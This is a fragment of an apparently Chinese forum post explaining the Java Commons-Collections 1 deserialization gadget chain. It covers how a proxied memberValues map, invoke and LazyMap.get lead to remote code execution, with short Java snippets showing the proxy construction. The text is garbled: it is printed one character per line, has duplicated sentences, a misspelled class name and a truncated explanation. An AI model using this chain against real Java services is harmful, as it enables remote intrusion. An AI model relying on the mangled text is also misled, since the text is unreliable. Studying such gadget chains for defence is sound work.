e
r
V
a
l
u
e
s
.
e
n
t
r
y
S
e
t
(
)
.
i
t
e
r
a
t
o
r
(
)
为
什
么
创
建
其
实
例
时
传
入
的
第
一
个
参
数
是
O
v
e
r
r
i
d
e
.
c
l
a
s
s
因
为
在
创
建
实
例
的
时
候
对
传
入
的
第
一
个
参
数
调
用
了
因
为
在
创
建
实
例
的
时
候
对
传
入
的
第
一
个
参
数
调
用
了
i
s
A
n
n
o
t
a
t
i
o
n
方
法
来
判
断
其
是
否
为
注
解
类
方
法
来
判
断
其
是
否
为
注
解
类
再
次
捋
一
次
流
程
,
在
r
e
a
d
O
b
j
e
c
t
时
,
调
用
,
而
t
h
i
s
.
m
e
m
b
e
r
V
a
l
u
e
s
此
时
为
p
r
o
x
y
,
就
会
触
发
p
r
o
x
y
设
置
的
关
联
调
用
类
的
i
n
v
o
k
e
,
而
,
所
以
会
调
用
i
n
v
o
中
的
关
联
调
用
类
的
i
n
v
o
k
e
方
法
,
而
i
n
v
o
k
e
方
法
中
有
.
g
e
t
,
触
发
L
a
m
p
.
g
e
t
达
成
R
C
E
,
第
一
个
i
n
v
o
是
为
了
触
发
L
a
z
y
M
a
p
的
g
e
t
方
法
,
第
二
个
o
b
j
是
为
了
触
发
i
n
v
o
k
e
方
法
。
参
考
参
考
y
s
o
s
e
r
i
a
l
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
1
-
7
分
析
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
1
J
a
v
a
反
序
列
化
之
C
o
m
m
o
n
s
-
C
o
l
l
e
c
t
i
o
n
s
分
享
、
点
赞
、
在
看
就
是
对
我
们
的
一
种
支
持
!
I
t
e
r
a
t
o
r
v
a
r
4
=
t
h
i
s
.
m
e
m
b
e
r
V
a
l
u
e
s
.
e
n
t
r
y
S
e
t
(
)
.
i
t
e
r
a
t
o
r
(
)
;
p
r
o
x
y
=
P
r
o
x
y
.
n
e
w
P
r
o
x
y
I
n
s
t
a
n
c
e
(
i
n
v
o
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
C
l
a
s
s
L
o
a
d
e
r
(
)
,
n
e
w
C
l
a
s
s
[
]
{
M
a
p
.
c
l
a
s
s
}
,
i
n
v
o
)
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页